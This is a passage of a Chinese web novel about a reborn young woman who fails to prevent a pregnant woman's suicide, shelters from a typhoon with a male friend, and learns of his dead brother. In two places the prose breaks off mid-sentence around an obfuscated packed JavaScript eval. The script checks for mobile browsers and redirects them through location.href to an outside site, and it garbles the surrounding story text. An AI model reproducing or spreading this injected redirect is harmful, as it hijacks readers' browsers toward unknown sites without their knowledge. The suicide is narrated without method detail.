就在这一瞬间,那股气息自胸膛喷薄而出,她大大地吸了一口气,掌声在耳边随即变得清晰,她才发现自己的指甲已深陷掌心中。 他们真的赢了。 她悬在半空中的心此刻平稳落地。 陈彦森,我们真的赢了。 恭喜你向梦想迈进一步。 21. 第四世(十八) 颁奖结束后,一行六人拖着行李箱急匆匆赶往机场。 大家心情都很好,一路有说有笑,感觉不到时间流逝,似乎是一眨眼便来到机场。 排队办理值机的时候,李洛诗打开手机照片给林舒看:“怎么样,我外甥女可爱吗?” 照片中的婴儿双颊肉滚滚的,双手攥紧小拳头放在耳朵两侧,双眼紧闭,睡得香甜。 “好可爱。”林舒由衷地说。 “前两天出生的,我表姐说她很乖,像个小天使。”说着,她的眼神突然黯淡,“只可惜我在海莲。要是我在现场,肯定要跟那帮人吵起来。” 林舒:“怎么了?” “我表姐快生的时候疼得要死,想转剖腹产,那些愚昧无知的婆家人啊,非说剖腹产生出来的宝宝没有顺产那么聪明,坚持要顺产。”李洛诗愤愤不平,“真是气死我了。” 林舒听着也气愤极了,刚想附和,话到嘴边突然整个人定住。 她猛然回头看悬挂在机场中央的电子大屏,上面显示时间:2017年8月17日14:45。 她呼吸开始急促,后背冒出冷汗。 是,是今天。 “雄鹰”台风登陆的前一天。 她当下做好决定,立刻对李洛诗说:“我现在有点急事要去办,你们先值机。” 说完,她将手中的行李箱往前一推,转身离开队伍。 李洛诗愣住,接着大喊:“你去哪?” “你们先走,千万不要等我!”林舒抛下这句话后,飞奔跑到机场外面,拉开一辆出租车的后门坐进去,对司机说:“师傅,麻烦去妇幼医院。” 她扣上安全带,又焦急地说:“师傅,我很着急,麻烦开快点,谢谢。” 司机从后视镜看了她一眼,见她一脸慌张,急促地喘着气,默默踩下油门:“小妹妹,家里人生孩子吗?” 林舒内心焦急,不想解释,胡乱应了一声,大脑飞快回忆关于17年海莲市孕妇的报道。可惜当时只是看过几篇报道,能想起的信息很有限,只记得事情是发生在自然灾害到来之前的人间悲剧,当时在网上掀起轩然大波。 她本来已经不记得这件事情了,但是李洛诗的话像一根线钻入她的脑海深处,将底层记忆引了出来。 小说中的主角重生后,做的都是拯救人类、改变世界的事情,而她只顾着自己的一亩三分地,想着过好自己的生活就好了,尽力提供帮助就好了,她只是一个平凡的人,她并不打算有什么大作为。 而现在,她第一次以上帝视角看这件事。她知道事件主角的遭遇和结局,隔着时空感受到她的绝望。 她没法坐视不管。 “小妹妹,小妹妹。”司机的声音将她带回现实,“医院到了。” “谢谢。”林舒将提前准备好的纸币塞给他,飞快下车跑进妇幼医院,按照指示牌冲进一旁的产科病区。 “您好,”她问导诊台的护士,“请问李星星在几楼?” 幸运的是,她记得那位孕妇的名字,李星星。 “你是产妇的什么人?”护士问。 林舒在来的路上已想好如何作答,此时回答很流利:“我是她的表妹,今天她生孩子,我来探望她。” 护士在电脑上查询一番:“五楼。” “谢谢。”林舒得到答案,飞奔到电梯口,看到电梯还在七楼缓慢下来,急得一跺脚,跑进一侧的安全通道。 “时间就是生命”这句话的意义在此刻达到巅峰,每分每秒都很珍贵,是真的能够挽救一条生命。 林舒一步跨两个台阶,不知疲惫地以最快速度向上跑,她从不知道自己的体力竟能一口气以这样的速度到达五楼。 她觉得自己已经足够快了,但在跨进病区走廊的那一刻,听见极重极沉闷的一声。 嘭—— 紧接着,是一声惊恐到极点的尖叫:“有人跳楼了!” 顷刻间,走廊上的人慌张地四散跑开,林舒逆着人群艰难地挤到候诊室门口。 候诊室里没有人,很安静,只有一扇推开的窗户和一帘轻轻摆动的白色窗帘。 这是她留在这世间最后的痕迹。 …… 下午四点起飞的那趟飞机是今天飞往南苑的最后一趟航班,错过就意味着林舒要独自留在海莲市面对台风来袭。 但她并不在意。 她拖着疲惫的身子走在大街上。天色昏暗,妖风肆虐,吹得她每一步都走得艰难,头发也被吹得胡乱飞舞,让她看起来很狼狈。 她打开微信,看到密密麻麻一串未读消息,点开李洛诗的对话框。 “舒舒,我们办好托运了,你什么时候回来?” 都说伤心的时候听不得亲近的人的声音。林舒本来忍着没哭的,此时一听到李洛诗的声音,忍不住哇一下哭出声来。 “我们在候机室了,你现在在哪?” “林舒,怎么不接电话也不回信息?快点给我回个电话,我很担心你。” “乖,不要闹,17级台风不是开玩笑的,你快回来。” 她的声音逐渐从焦急转为带着哭腔:“我们马上要起飞了,你在哪?” 林舒的情绪也跟着她的语气起伏,哭得上气不接下气。 最后一句是:“陈彦森回去找你了,你要注意安全,记得给我回信息。” 陈彦森?他怎么回来了。 她心一急,点开陈彦森的对话框,弹出一条:【你在出租屋吗?我现在过来】 【林舒,你现在在哪?】 最后一句是:【你待会看到信息,来这里地址。】 底下发了一个定位,应该是他说的在海莲的家的地址。 她点开地址,还没来得及开始导航,突然“嗒”一声,一滴水珠落在手机屏幕上,接着又一声,落在她的手背上。 林舒仰起脸,水珠落在她的脸上。一开始是一滴,两滴,倏忽间变得密集。 雨越下越大,风越刮越猛,街上几乎没有行人,车辆也很少。她立在那,像站在世界的尽头,暴雨里让人呼吸困难,恐惧感油然而生,突 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这样下去,这玻璃窗迟早会被空调外机撞烂。 她只好将沙发挪到客厅巨大的玻璃窗边顶住,接着,举着手机躲在玄关处的角落里——看起来这是全屋最安全的地方。 听着外面的风声,感受着楼体晃动,她想起的是那扇打开的窗户和摆动的窗帘。 就差一点点,她就能救下她。 为什么她不早点想起来?为什么她不再跑快一点?为什么她即便拥有上帝视角,依然救不下一个命苦的女子? 她还这么年轻,本来满心欢喜准备迎接新生命的到来,却因为选择了这样的丈夫,遇到了这样的婆婆,无论她怎样下跪苦苦哀求转剖腹产,都被一次次拒绝。 她纵身一跃的那一刻在想什么呢?最后那一刻疼吗? 林舒的心被撕开,碎成一片片。 就在这时,手机屏幕亮起,陈彦森的名字闪烁着。 “林舒,你终于有信号了。”他的声音听起来很焦急,又似乎松了口气,“你现在在哪?” “在出租屋。”林舒吸了吸鼻子,回答道。 “你怎么哭了?”陈彦森语速很快,“别怕,别怕,你原地不动,我现在过来找你。” “别,你别过来,外面太危险了。”林舒连忙拒绝。个人的冒失行为不该让别人埋单。 “你放心吧。”他的声音很温柔,“等我。” “可是……喂?” 林舒看了一眼,信号又没了,也不知道他坚持给自己打了多久电话,才在有信号的一瞬间打通。 她抱着自己的膝盖缩在角落里,不知过去多久,似乎很久,又似乎没多久。门外终于传来敲门声,一个既熟悉又安心的声音传来:“林舒。” 是陈彦森! 林舒立刻起身打开门—— 门外的男生浑身湿透,雨水顺着裤脚湿哒哒流下,在地上汇聚成小小水潭。 他的眼睛亮亮的,灿若星辰。 22. 第四世(十九) 在机场的时候,林舒排在队伍最后面,与陈彦森之间隔着好几个人,再加上她走得很突然,所以陈彦森是事后才知道的。 他了解林舒的性格,知道她不是冒失行事之人,走得这么急一定有她的原因。但台风来临在即,他决定留下等她是他心甘情愿,不能让大伙一起留下来冒险。因此,他说服大家先办手续去登机口,一个人留在值机柜台等她。 他在机场等了两个钟,期间一直联系不上林舒,想到她人生地不熟,在海莲市应该也没什么地方可去,便去了出租屋,结果她还是不在。 眼看天色越来越暗,陈彦森将度假屋的地址发给林舒后,匆匆去超市买干粮和生活用品,但因为这几天大家都在疯狂囤货,他连跑了五六家超市才勉强买到一些。 他回到度假屋,将东西放好,就开始不停给林舒打电话。 他也数不清自己打出了多少个电话,直到手机电量格呈红色,电话那端终于传来她的声音。 …… 门外终于传来他的声音。 林舒连忙起身打开门,看到他浑身湿透站在门口,湿哒哒的碎刘海垂在额前,像一只落水的小鸡,样子有点狼狈,但笑得灿烂:“林舒。” 一股难言之情涌上心头,她哽咽道:“你怎么没跟他们一起回南苑?” 陈彦森轻松地笑了:“我走了,那你怎么办?” 她情不自禁上前搂住他,“你为什么要来?外面这么危险,你要出什么事我要怎么办?” 陈彦森先是一怔,手停在她的后背想触碰却又不敢碰,最终还是轻轻拍了拍她,“我是趁着台风眼来的,风雨都停了,不危险。” “真的?”她松开了一点,泪眼婆娑地看着他。 “真的,”他牵住她的手,“我们去安全的地方。” 外面很安静,没有风,没有雨,外面一片狼藉。公交车候车灯箱的玻璃全碎,里面的海报不翼而飞;不知从何处飞来的铁皮横在马路中央,一个角翘起;被连根拔起的大树尸体横七竖八躺在地上。林舒回头看她刚刚呆过的房子,楼上的空调外机依然垂在窗边。 陈彦森是开摩托过来的,他给林舒递了个头盔,自己也戴上,拍了拍后座,“上来。” 林舒想起第一次坐他摩托是上一世死前的那个晚上,她一眼看中陈彦森身上“你看我一眼是找死吗”的□□大哥气质,主动套近乎:“可以带我兜兜风吗?” 第二次是见面第二天早上,他主动出现在她家楼下,说要送她去上班; 第三次是这一世高中同学聚会结束后,她碰见有女生找他要微信,上前想逗逗他,结果他不经逗,还送她回家; 第四次是现在。 一次又一次,他们之间的距离越来越小,身体越来越近,也从被动靠近到主动靠近。 这一次,林舒主动伸手搂住他的腰,脑袋紧贴他的后背,声音闷闷的:“我坐好了。” 陈彦森低头看着搂紧他的小手此时正攥紧拳头,轻轻拍了拍她的手背安抚道:“抱紧我,小森牌火箭要发射啦!” 他从电话里听到她的哭腔,见面发现她的情绪比想象中更低落,一向内敛少言的他绞尽脑汁,用尽可能轻松的语调说出这番话,希望能逗她开心。 但她没有笑,只是闷闷地应了一声。 看来,在她失联的这段时间里,她遭遇了不愉快的事情。 陈彦森一边思考待会怎么引导她让她变得开心,一边小心避开倒在路面的大树,行驶的速度变缓,花了半小时才回到度假屋里。 他停好摩托,取下头盔,见先他一步下车的林舒仍戴着头盔呆呆站着,便喊她:“林舒,我们进屋吧。” 她像是在思考什么事情,想得很入迷,被他突然说话吓了一跳,整个人更呆了,缓缓转过头来,即使戴着头盔看不到她的脸,他也能脑补出她困惑的表情。 陈彦森上前解开她头盔上的扣子,扶住两边慢慢抬起头盔,一点一点,头盔下露出一张满面泪痕的脸。 她哭了。 她第一次在他面前哭。 陈彦森顿时手足无措,想给她擦泪又怕直接用手擦太冒犯,可身上又没带纸巾,手伸出又缩回,缩回又伸出。 犹豫再三,他试探性地向她靠近一步,两人身高差她的头刚好可以靠在他的胸膛上。他用自己的胸膛去靠近她的脑袋,一手拿着头盔,另一只手迟疑地拍了拍她的后背。 爱是尊重,是忐忑,是不敢靠近却又忍不住靠近。 林舒本来是躲在头盔里默默掉眼泪的,现在头盔没了,她的情绪一下子被曝光,反而能更放心表达自己的情绪,眼泪更是止不住地往下掉。 在来的路上,林舒想了很多。 几世记忆一涌而入,最后留在她脑海中的是李洛诗最后的那通电话;陈彦森不小心露出的一截假肢;张绵绵捂着受伤的左眼;楚卿站在门后无声落下的眼泪;李星星跳楼后的那卷窗帘。 曾经她觉得自己是可以改变未来的。她时刻关注李洛诗的状态,叮嘱陈彦森随身携带安全锤,在张绵绵和楚卿遇到困难时坚定站出来寻找解决办法,这都是她对未来的抗争。但李星星事件让她开始怀疑,其实她是不是并没有成功改变社么? 张绵绵不是因为遇到林舒而被送去市医院治好眼睛,楚卿也不是因为林舒资助而继续读书,她们的命运本来就是这样安排的,即使不是林舒,也会有其他人出现。 而李星星,她的命运结局就是如此,所以林舒改不了。 比告诉她下一世还是只能转世非洲行军蚁更让她绝望的,是她得知自己很有可能没办法改变李洛诗和陈彦森的结局。 积压在胸腔内的委屈在一瞬间找到宣泄出口,她真正释放自己的情绪,大声哭了出来。 陈彦森没有说话,只是轻轻拍着她的后背,用陪伴告诉她:我在,我会一直陪着你。 良久,林舒的眼泪慢慢干涸,她收住哭声,小声说:“我饿了。” “那我们进屋,”陈彦森说,“你去洗澡换身衣服,我去做饭。” 林舒擦了擦眼泪,点点头。 她先连网给爸妈报了平安,然后去洗了个澡,换上他的衣服,坐在餐桌前看着一桌子菜,不好意思地笑笑说:“不好意思,今晚打扰你了。” 陈彦森往她碗里夹了块肉,佯装生气道:“我们是朋友,你这么见外我可要生气了。” 林舒笑了:“那我就不客气啦。” 饭后,林舒争着要洗碗,陈彦森知道这会让她心里好过些,便没有推辞,跟她一起把碗筷端到水池边,而后靠在门框看着她。 她穿着他的条纹衬衫,衬衫对她来说有些宽大,垂到膝盖上方,露出一双光洁纤细的腿。她低头洗着碗,余光察觉到他在看她,便抬头冲他一笑。 不知怎地,他竟产生了一种,他们已经在一起生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812363|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活很久的错觉。 陈彦森晃了晃脑袋,移开视线,犹豫着要不要将心中的问题问出口,但她现在刚有好转,如果贸然提起可能会让她再次陷入情绪漩涡中。 林舒留意到他的不安,主动问:“你是不是想问我,为什么不跟你们一起回南苑?” 陈彦森看着她,“如果你不愿意说的话,可以不说的。” “你没什么是不可以知道的。”林舒看着手里的碗,“我知道妇幼医院有个产妇会跳楼,我是回去救她的。” 陈彦森点点头,示意他在听着,没有说话打断她。 “但我晚了一步。” 陈彦森:“这不是你的错。” 林舒点头:“我知道,但我就是忍不住怪自己。我会想,如果我早点想起来,早点赶到医院,是不是就可以阻止悲剧发生呢?” 此时她洗好了一部分碗碟,垒起来放在一旁。陈彦森走到她身边,拿起一块干净的抹布,将这些碗碟残留的水分擦干,放进消毒碗柜中。 他的声音很轻:“林舒,你只是比别人提早知道一些事情,不代表你就必须要承受这些。” 手中的动作停下,林舒看向他。 上一世她向他求助,并坦言自己是重生的,他说相信她;这一世他因她被余嘉城打伤,在校医室里她说自己上辈子是被余嘉城杀死的,他依然说相信她。 他一直记得她有上辈子记忆这件事,直到现在,他都没有一刻觉得她的所言、所为怪诞荒谬。 他只是在开导她:你不必背负这些。 她一向乐观坚强,仗着父母的纵容和朋友的宠爱有点小傲娇,但此刻也忍不住落泪。 陈彦森见状便接过她手中洗了一半的筷子:“你去休息吧,这里交给我就行。” 见林舒不动,他笑着说:“走廊左手边第一个房间,你快去休息吧。” 林舒后退一步,陈彦森很丝滑地向前一步站在她刚刚站的位置,接着继续清晰。她情绪极度低落,没有再说话,低着头默默离开厨房。 房间内床单早已铺好,被褥也摆放整齐,林舒无需整理,直接上床就能睡觉。但她躺在床上,听着外面呼啸的台风声,时不时发出的窗户震动声和不知从何处传来的异响,难以入眠。 许是台风眼已过,现在的风力感觉比最开始更厉害了。 她听着陈彦森洗好碗,将客厅的灯熄了,又躺了一会实在睡不着,于是蹑手蹑脚起床去客厅喝水。 她刚“啪”一声打开厨房灯,就听到客厅传来陈彦森的声音:“睡不着?”她惊讶地回过头,看到陈彦森从沙发上坐起来。 “你怎么睡沙发?”林舒讶异。这间屋子里明明有四个房间。 陈彦森:“我不睡这,怎么抓到不肯睡觉的小朋友?” “我,”林舒心虚地喝了口水,“我口渴。” “是口渴,还是……”陈彦森盯着她,“你是不是害怕?” 林舒说过,陈彦森没什么是不可以知道的,包括她的脆弱。于是,她点点头,承认了自己的脆弱。 陈彦森不语,起身去另一个房间内搬出一张小床摆在走廊,“我在这陪你,你有需要就喊我,我能听见。” 林舒重新躺在床上,借着月光向门口看去,只能看到小床的一角,看不到床上的人,便开口轻唤一声:“陈彦森。” 从门口传来一个世界上最让人安心的声音:“我在。” 23. 第四世(二十) 早上,他们下楼的时候外面已经停风停雨。台风肆虐一个夜晚,去往下一个地方。 在白天,她才看清原来只有陈彦森家这一排是小高层,往前走一段路就看到动辄三四十层高的高楼。她仰起头一看,好几户人家的落地玻璃都没了,住户站在距离地面将近一百米毫无遮拦的阳台上,很是危险。 陈彦森说:“沿海,高楼,大落地窗,这些叠加在一起,正面迎接17级台风毫无抵抗力。” 怪不得陈彦森家是小高层,而且家中没有做好看的落地窗,而是做成一格格的小格子窗,原来是出于安全考虑。 南苑虽然也是沿海城市,但从未有如此大威力的台风登陆,所以她对台风的认知仅仅停留在最浅层,比如不要在阳台围栏摆放花盆等易掉落危险物品、不要随意外出、用胶布在窗户上贴“米”字、用塑料袋封住窗户边缘。 再往前走,几棵大树被连根拔起倒在地上拦住去路,他们只好走另一条路绕一圈再回到主路上,沿路看到好几辆小车被压在大树下,车顶都坍塌了。 这里还是主城区,大部分是高楼大厦,大家做的防御措施比较充足,情况尚且如此严峻,更不用说农村里,农民的养鸡棚和脆弱的瓦顶是否还在,能把几层楼高的大树连根拔起的台风在田地里走一遭还能留下什么。 昨天是人祸,人心难测;今天是天灾,天意难料。 他们走了一些路,终于来到最近的超市里。 陈彦森推着小推车,跟上林舒的脚步,“看现在的形势,估计要两三天才会恢复航班。虽然我们住的地方有水有电,但是网络断断续续的,在家呆两三天还是挺无聊的,你想做点什么打发时间吗?” “比如——做蛋糕?” “那做巴斯克蛋糕吧,简单一点。”林舒停在货架前,“你想吃巴斯克蛋糕吗?” 她的目光落在货物上,并不知道身后的人目光炙热,爱意流出,说道:“想吃。” “那我们试一试。”家里有鸡蛋不用买,林舒按照网上的配方买了奶酪、细砂糖、奶油和玉米淀粉。虽然超市的货架很空,但是这些非果腹的东西没有被抢完,她甚至还买到了蛋抽、刮刀、电子秤、油纸和模具。 回家后,两人就开始做蛋糕。 林舒把平板架好,播放视频教程,一边把东西取出来一边念念有词:“奶酪350g,砂糖75g,奶油150g,玉米淀粉10g,3个鸡蛋。陈彦森,你先帮我称350g奶酪。” “350g奶酪。”陈彦森复述一遍,将足量的奶酪放进玻璃碗中交给林舒,就继续称其他东西。 林舒接过玻璃碗,将其放进微波炉中轻微加热,接着倒入陈彦森称好的75g砂糖。教程中提到下一个步骤是“要用刮刀按压奶酪至没有颗粒”,这寥寥几个字在操作起来可一点都不容易,要有足够的耐心和力气,林舒和陈彦森交替按压了好几次,才真正达到这个效果。 第一世的时候,当林舒还是个小孩,她的梦想是长大后要做一名甜品师。她站在面包店里,隔着橱窗玻璃看里面忙碌的身影,面粉在她们手里乖巧听话,任由她们的巧手塑造成任何形状。 长大后——林舒歪了歪头,她在择业的时候竟完全不记得小时候的梦想了。 陈彦森注意到她失了神,手中的速度慢了下来,问道:“在想什么呢?” “你小时候的梦想是什么?”林舒若有所思地问。 “医生。”他脱口而出。 林舒以为他要想一想才回答,毕竟这是将近二十年前的不成熟的梦想,有些惊讶:“记得这么清楚吗?” 陈彦森没有解释,只是“嗯”了一声。 林舒又问:“那为什么长大后不想做了呢?” 小时候的梦想大多不会实现,可能是因为现实因素,可能是因为想法改变了,也可能是因为随口一提当事人都忘记了。 “因为——”陈彦森明显顿了顿,语速放缓,“因为想要救治的那个人不在了。” 林舒拿起鸡蛋的手一抖。她完全没想到竟会是这个回答,好像不小心戳到对方不愿提起的往事了,连忙转移话题道:“哎呀,这个教程说要分多次加入鸡蛋,那个教程说一次性加入,我应该听哪个呀?” 陈彦森对比两个教程后说:“要不我们分多次吧,看起来容易操作一些。” “好,听你的。” 他们分多次加入鸡蛋,用蛋抽不断搅拌吸收,再先后加入奶油和淀粉混合均匀后,将面糊过筛,过滤掉未被融合的颗粒。 三遍过筛后,将面糊倒入铺好油纸的模具中,大力震出气泡,最后将它放进烤箱中,烘烤20分钟。 林舒盯着烤箱里的面糊:“陈彦森,我们每个步骤都跟着教程做,这蛋糕应该不会难吃吧?” 一向做事有信心的陈彦森此时也没有底气:“进过烤箱的东西应该不会难吃吧?” 他一边说,一边将鸡蛋壳扔进垃圾桶里,将开封的包装袋封好放进橱柜,然后开始擦桌子。 林舒看着他忙碌的身影,想起刚刚没有继续下去的话题,心想,他想要救治的人是谁呢?难道是烧烤店老板标哥无意中提起的哥哥吗?认识他这么久,从未听他提起过家里人,是跟他们关系不好吗? 想到这,林舒小心提问:“你家在海莲有房子,是经常来这度假吗?” 陈彦森手中动作没停,回答道:“这里只有夏季,我小时候每年都会来这里过年。后来我就很少来了,都是爸爸妈妈来,家里的东西也是他们备的。” 林舒:“为什么后来你不来了呢?觉得不好玩吗?” 陈彦森:“不,就是因为喜欢才不敢来。” 他用力擦桌子,反复擦着同一个位置。 “我哥哥很喜欢海莲,他告诉我,这里有蓝天白云,有一望无际的海和高高的椰子树。他会在沙滩上跟我赛跑,让我先出发十秒他再出发,输了之后还说我长大了,都跑不过我了。” 他的身子微微发抖,还是继续往下说。 “跑累了,我坐在一旁喝椰子汁,他在沙滩上捡贝壳。他将贝壳洗干净,贴在写了日期的纸上,用相框装起来送给我。但我觉得这东西太娘了,男孩子大丈夫怎么会喜欢女孩子家家的小玩意,随手就仍在一边。但他也不生气,他从来不会生我气。” 他身子抖得厉害,还在擦桌子,一遍遍用力反复擦拭。 听到这,林舒已大概猜到结局,看到他这样心痛不已,不禁伸手抱住他,才发现他的手异常冰冷。 “也许是上天为了惩罚我,有一个这么好的哥哥居然都不懂得珍惜,所以带走了他。” “我没有哥哥了。” 林舒不知道该说些什么安慰他,也深知此时此刻一切的语言都是苍白无力的,只得紧紧搂住他,紧一点,再紧一点。就像当她深陷情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是,他们将蛋糕在室温下放置两小时,再放入冰箱冷藏两小时——这比教程中冷藏少一小时,目的是为了拯救也许早已不存在的流心。 四小时后,两人满怀期待地切开蛋糕—— “没有流心。”林舒彻底绝望,开始暴走,“到底哪里出问题呢?长得丑就算了,最关键的流心也没了。” 陈彦森尝了一口,有点夸张地“嗯”了一声:“好吃!” 林舒看了他一眼,嫌弃地扯起嘴角:“陈彦森,你演得太浮夸了。”话虽是这么说,但也还是拿叉子挖了一小口。 “怎么样?”陈彦森等着她给反馈。 林舒:“……我做的是巴斯克蛋糕吗?这跟甜到齁的鸡蛋羹有什么区别?” 陈彦森:“可我觉得挺好吃的啊。” “不必安慰我,我去泡个方便面,你要吗?” “不要,我今天一定把这蛋糕干完,别拦我。” 林舒从厨房里探出脑袋:“您自便。” 三分钟后,林舒端着方便面坐在埋头吃蛋糕的陈彦森对面,吸溜吸溜地吃着。 陈彦森说:“我发现你的生活习惯太不健康了,家里有这么多东西你不吃,就选了方便面。” 林舒不以为然:“方便啊。” 陈彦森不管她,继续说:“明早,你起来跟我一起练八段锦。” 林舒刚吸了一口面:“?” 24. 第四世(二十一) 林舒被一阵急促的敲门声吵醒时,窗帘还没透出亮光。 睡得好好的被吵醒,她起床气可厉害了,一下子坐起来,“这门都没关,你敲什么敲?” 因为陈彦森睡在走廊,所以这两晚睡觉她都没关门。 陈彦森站在门口没进来,但声音倒是清晰地送进来:“这么有精气神骂我,看来已经醒了。” 林舒怒火中烧:“你敲这么大声,我能不醒吗?!” 陈彦森又敲了两下,说:“醒了就快点起来练八段锦了,太阳马上要升起来了。” 都被吵醒了,林舒只好起床去洗漱。她真的困啊,刷牙的时候觉得灵魂在游离,八段锦音乐响起的时候甚至觉得有催眠效果。 这么美好的早晨不应该在床上睡觉吗?怎么就在这练这奇怪的东西呢? 一旁的陈彦森看到她眼睛都没睁开,敲了下她的脑袋,“林舒,开始了。” “哦。”林舒勉强睁开眼。 “健身气功八段锦,预备式,左脚开步,与肩同宽;屈膝下蹲,掌抱腹前;中正安舒,呼吸自然;心神宁静,意守丹田。” 奇怪的是,她跟着视频口令做动作,一呼一吸慢慢调节气息,竟惊奇地发现自己不困了。 “第一式,两手托天理三焦,上托、下落;上托、下落;上托、下落;上托、下落;上托、下落;上托。” 林舒是那种要么不做,要做就要尽力做最好的性格。她全神贯注盯着视频中老师的每一个动作,争取跟上并做到位。 大约十二分钟后,一套八段锦打完,林舒感觉到手心发热,整个人特别舒畅,她惊喜地看向陈彦森:“我觉得好舒服啊。” 陈彦森见她进入状态,便开启严厉模式:“你的第二式做得不够标准,左脚开步的时候,左手在外面右手在里面,开弓的时候记住右手一定要发力,不是这么软塌塌的。还有第五式摇头摆尾,你的头一定要摆起来,不能光身子动。” 林舒跟着他练习了几个比较难掌握的动作后,又跟着视频音乐练了一次,这次比第一次有更明显的感觉,背部有薄薄的细汗,手心发红发烫,人也更精神爽利了。 陈彦森说:“以后你就早起个十五分钟,在七点到九点这段时间练,对脾胃好。” 如果这话是在练之前听的,林舒一定嗤之以鼻并抛诸脑后,但现在她尝过练习的滋味,知晓其真的能带来益处,便听话地点点头:“知道了,陈老师。” 这一世想要做的事情这么多,可不得把身体养好了? 练完八段锦后,林舒吃了早餐,开始无所事事在屋里闲逛。昨天做蛋糕失败了,她今天可不想再尝试了,那今天干点什么好呢? “陈彦森,”她闲得发慌,“我无聊。” 陈彦森看起来并不无聊,他拿着一份不知道什么年份的报纸,拿起桌边的茶杯喝了一口,淡淡道:“一起看报啊。” “我……”林舒一下被噎住,说不出话来。 本来就已经是27岁的人了,现在练八段锦就算了,要真过上喝茶看报的生活,这心理年龄不得噌噌噌继续上涨啊? 不行,她还想好好享受20岁女孩该有的生活和心态呢。 她说不上话来,赌气地甩了甩手,不小心勾到一块白布,将布扯了下来。就这样,一架钢琴随着白布徐徐降下出现在她面前,像一个仙子。 之前一直没留意到,原来客厅里一直摆着一架钢琴。 她看陈彦森的反应,似乎他也有些惊讶。不过想来也是,他很久没来这里,应该也不太记得这屋子里有什么东西了。 陈彦森站起来走到钢琴前,按下一个音,突然说:“林舒,我教你弹钢琴吧。” “啊?” 陈彦森说:“支教的时候,你说想学钢琴但最后没学成。现在,我教你。” 一直以来想要触碰但无法触碰的东西就近在眼前,林舒却退缩了:“算了,我现在学已经太迟了。” “不迟,”陈彦森拉着她的手腕引到钢琴前,按着她的肩膀让她坐下,“只要想学,任何时候都不迟。” 他拿出一张白纸,写了几个五线谱符号,说:“你先记这些最基础的,这是全音符,二分音符,四分音符……” “八分音符。”林舒抢答。 “你会看音符?”陈彦森一怔。 “就会一点点,以前音乐课学的。” 一般是小学老师会教音符,这都过去这么多年了,要么她就是记性好,学了就能记住,要么她就是在课后用功自学过。 陈彦森猜测,她应该是后者。 于是,他不动声色地画了五根线,在第二和第三根线之间画了一个圆圈,问道:“这是什么?” 林舒:“do。” 他又在第五根线上方画了一个圆圈,该圆圈与线相贴:“这个呢?” “si。” 他放下纸张,指着琴键问:“哪个是中央C?” 林舒的指尖没有迟疑,准确无误地按下。 到这里,陈彦森几乎就能确定,她是有一定基础的。 林舒确实是有一定基础的。 小时候,她跟同学们一起逛超市,她们都去玩芭比娃娃或者看零食,只有她停在电子琴前面,眼前浮现出一个女孩在舞台上弹钢琴的画面,她的十指在琴键上飞舞,一束光打在她身上,像丛林的小精灵一般。 那天回家,她跟妈妈说想学钢琴,丁敏便带她去琴行咨询,得知一节45分钟的课要100元,如果以后练得好想买钢琴的话,钢琴普遍要好几万。 那是2005年,100元是林不帆辛勤工作一天的薪酬。不用等丁敏开口,林舒自己懂事地说:“妈妈,我不学了。” 丁敏既心疼又愧疚,去超市将林舒平时喜欢试弹的电子琴买了回来。林舒还很清楚记得价格:119元。 她深知爸爸挣钱不易,也知道妈妈已在经济允许范围内将最好的给她,因此格外珍惜这台电子琴。她利用周末时间自学基础知识,硬是把五线谱记了下来,也能够弹一些简单的曲子。 陈彦森下载一份琴谱到平板上,将平板架好:“你试试弹这首曲子。” 这是红皮拜厄第五条,是非常基础的入门练习曲子,林舒小时候练得很熟。但现在已经很久没碰琴了,她将手指放在琴键上,迟迟没有按下。 陈彦森看出她的迟疑,宽慰道:“我只是想了解下你的情况,别有压力。” 林舒点点头,指尖轻动。奇怪的是,她本以为自己已经忘记如何弹琴,但当指尖与白色琴键相触,过往习得的知识和技巧在顷刻间自然涌现,一股神奇的力量牵引着她往下弹。 一曲终了,陈彦森说:“我看你是有意识控制手腕的,但还是有轻微折指、掌关节塌陷的情况。” 林舒:“对,这个我练了很久,一松懈就会忘记,很难保持习惯。” “像握着一个网球一样,”陈彦森伸指做示范,“像这样。” 林舒学着他的手型试弹了一下,诚实地反馈:“没太有感觉。” “那——”陈彦森四周看看家里没有球类,便握拳放在她抬起的右手下方,“这样呢?” 他的手很符合她想象中弹钢琴的人拥有的手,白皙纤长,弹奏时双手像是会飞舞的丛间精灵一样。此刻他握紧拳头,因为就这么搭在她的手掌下方,她能触摸到凸起的青筋,感受到传递到掌心的温热感。 这是一个亲近的动作,但她没有觉得被冒犯到,她很难解释是因为他太正直了,所有心思放在教学上,这样的肢体接触是在正常范围内,还是因为一些别的原因,比如……其实她并不抗拒? 林舒被这个想法吓了一跳,不动声色地移开了手,尽量让语气平稳:“你这拳头跟网球一点都不像,联想不起来。” 陈彦森看了看自己的拳头,收回:“确实不太像。那你继续弹下一首,我盯着你。” 他搬来椅子坐在她旁边:“我们先从拜厄练起,学习乐理和基础,接着每天花15分钟练哈农提高手指机能,迟点就可以练自己喜欢的曲子了。” “可以练我喜欢的曲子?”林舒眼前一亮。 成年人学琴不都是为了能弹自己喜欢的曲子吗?陈彦森直接说到她心坎上了。 陈彦森:“你想学什么曲子?可以将这个设为你的目标,你向着这个目标努力。” “花之舞。”林舒毫不犹豫回答。 “嗯那个……”陈彦森轻咳一声,“学琴切记一口吃成大胖子哦,这个得慢慢来。” 林舒不悦,嘟嘴嚷嚷道:“又是你让我说的,那我就是喜欢这首曲子。” 林舒这一举动在陈彦森眼里跟撒娇没什么区别,他立马卸甲投降:“有我在,包你学会!” 